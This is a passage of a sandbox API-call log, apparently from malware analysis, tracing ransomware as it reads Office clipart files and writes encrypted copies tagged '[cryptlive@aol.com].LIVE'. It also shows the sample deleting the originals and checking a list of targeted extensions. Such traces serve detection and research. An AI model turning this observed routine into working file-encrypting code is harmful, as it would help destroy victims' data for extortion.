(lpString1=".jpg", lpString2=".WMF") returned -1 [0141.513] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.513] lstrlenW (lpString="DD01169_.WMF") returned 12 [0141.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.647] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2020) returned 1 [0141.647] CloseHandle (hObject=0x1ec) returned 1 [0141.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0141.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.650] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.650] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.650] GetLastError () returned 0x0 [0141.650] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x7e4, lpOverlapped=0x0) returned 1 [0141.659] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0141.660] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.660] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.660] SetEndOfFile (hFile=0x380) returned 1 [0141.661] CloseHandle (hObject=0x380) returned 1 [0141.661] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.661] SetEndOfFile (hFile=0x1ec) returned 1 [0141.663] CloseHandle (hObject=0x1ec) returned 1 [0141.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString=".doc") returned 4 [0141.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString=".docx") returned 5 [0141.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.664] lstrlenW (lpString=".pdf") returned 4 [0141.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString=".xls") returned 4 [0141.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.664] lstrlenW (lpString=".xlsx") returned 5 [0141.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.664] lstrlenW (lpString=".ppt") returned 4 [0141.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString=".zip") returned 4 [0141.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.664] lstrlenW (lpString=".rar") returned 4 [0141.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString=".bz2") returned 4 [0141.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString=".7z") returned 3 [0141.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString=".dbf") returned 4 [0141.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString=".1cd") returned 4 [0141.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString=".jpg") returned 4 [0141.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.664] lstrlenW (lpString=".doc") returned 4 [0141.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.665] lstrlenW (lpString=".docx") returned 5 [0141.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.665] lstrlenW (lpString=".pdf") returned 4 [0141.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.665] lstrlenW (lpString=".xls") returned 4 [0141.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.665] lstrlenW (lpString=".xlsx") returned 5 [0141.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.665] lstrlenW (lpString=".ppt") returned 4 [0141.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.665] lstrlenW (lpString=".zip") returned 4 [0141.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.665] lstrlenW (lpString=".rar") returned 4 [0141.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.665] lstrlenW (lpString=".bz2") returned 4 [0141.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.665] lstrlenW (lpString=".7z") returned 3 [0141.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.665] lstrlenW (lpString=".dbf") returned 4 [0141.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.665] lstrlenW (lpString=".1cd") returned 4 [0141.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0141.666] lstrlenW (lpString=".jpg") returned 4 [0141.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.666] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.666] lstrlenW (lpString="DD01171_.WMF") returned 12 [0141.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.667] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2052) returned 1 [0141.667] CloseHandle (hObject=0x1ec) returned 1 [0141.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0141.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.667] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.667] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.669] GetLastError () returned 0x0 [0141.669] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x804, lpOverlapped=0x0) returned 1 [0141.688] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x810, lpOverlapped=0x0) returned 1 [0141.689] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.689] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.689] SetEndOfFile (hFile=0x380) returned 1 [0141.689] CloseHandle (hObject=0x380) returned 1 [0141.689] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.689] SetEndOfFile (hFile=0x1ec) returned 1 [0141.691] CloseHandle (hObject=0x1ec) returned 1 [0141.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0141.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.692] lstrlenW (lpString=".doc") returned 4 [0141.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.692] lstrlenW (lpString=".docx") returned 5 [0141.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.692] lstrlenW (lpString=".pdf") returned 4 [0141.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.692] lstrlenW (lpString=".xls") returned 4 [0141.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.693] lstrlenW (lpString=".xlsx") returned 5 [0141.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.693] lstrlenW (lpString=".ppt") returned 4 [0141.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.693] lstrlenW (lpString=".zip") returned 4 [0141.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.693] lstrlenW (lpString=".rar") returned 4 [0141.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString=".bz2") returned 4 [0141.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString=".7z") returned 3 [0141.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.693] lstrlenW (lpString=".dbf") returned 4 [0141.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.693] lstrlenW (lpString=".1cd") returned 4 [0141.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.693] lstrlenW (lpString=".jpg") returned 4 [0141.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.693] lstrlenW (lpString=".doc") returned 4 [0141.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString=".docx") returned 5 [0141.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.693] lstrlenW (lpString=".pdf") returned 4 [0141.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.693] lstrlenW (lpString=".xls") returned 4 [0141.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.693] lstrlenW (lpString=".xlsx") returned 5 [0141.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.693] lstrlenW (lpString=".ppt") returned 4 [0141.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.694] lstrlenW (lpString=".zip") returned 4 [0141.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.694] lstrlenW (lpString=".rar") returned 4 [0141.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.694] lstrlenW (lpString=".bz2") returned 4 [0141.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.694] lstrlenW (lpString=".7z") returned 3 [0141.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.694] lstrlenW (lpString=".dbf") returned 4 [0141.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.694] lstrlenW (lpString=".1cd") returned 4 [0141.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0141.694] lstrlenW (lpString=".jpg") returned 4 [0141.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.694] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.694] lstrlenW (lpString="DD01176_.WMF") returned 12 [0141.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.699] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1888) returned 1 [0141.699] CloseHandle (hObject=0x3a8) returned 1 [0141.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0141.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.700] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.700] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0141.700] GetLastError () returned 0x0 [0141.700] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x760, lpOverlapped=0x0) returned 1 [0141.709] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x770, lpOverlapped=0x0) returned 1 [0141.710] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.710] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.710] SetEndOfFile (hFile=0x39c) returned 1 [0141.710] CloseHandle (hObject=0x39c) returned 1 [0141.710] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.710] SetEndOfFile (hFile=0x3a8) returned 1 [0141.712] CloseHandle (hObject=0x3a8) returned 1 [0141.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0141.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.713] lstrlenW (lpString=".doc") returned 4 [0141.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.713] lstrlenW (lpString=".docx") returned 5 [0141.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.713] lstrlenW (lpString=".pdf") returned 4 [0141.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.713] lstrlenW (lpString=".xls") returned 4 [0141.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.713] lstrlenW (lpString=".xlsx") returned 5 [0141.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.713] lstrlenW (lpString=".ppt") returned 4 [0141.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.713] lstrlenW (lpString=".zip") returned 4 [0141.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.713] lstrlenW (lpString=".rar") returned 4 [0141.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.713] lstrlenW (lpString=".bz2") returned 4 [0141.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.713] lstrlenW (lpString=".7z") returned 3 [0141.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.713] lstrlenW (lpString=".dbf") returned 4 [0141.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.713] lstrlenW (lpString=".1cd") returned 4 [0141.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.714] lstrlenW (lpString=".jpg") returned 4 [0141.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.714] lstrlenW (lpString=".doc") returned 4 [0141.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString=".docx") returned 5 [0141.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.714] lstrlenW (lpString=".pdf") returned 4 [0141.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString=".xls") returned 4 [0141.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.714] lstrlenW (lpString=".xlsx") returned 5 [0141.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.714] lstrlenW (lpString=".ppt") returned 4 [0141.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.714] lstrlenW (lpString=".zip") returned 4 [0141.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.714] lstrlenW (lpString=".rar") returned 4 [0141.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString=".bz2") returned 4 [0141.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString=".7z") returned 3 [0141.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.714] lstrlenW (lpString=".dbf") returned 4 [0141.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.714] lstrlenW (lpString=".1cd") returned 4 [0141.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0141.714] lstrlenW (lpString=".jpg") returned 4 [0141.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.715] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.715] lstrlenW (lpString="DD01179_.WMF") returned 12 [0141.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.715] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2024) returned 1 [0141.715] CloseHandle 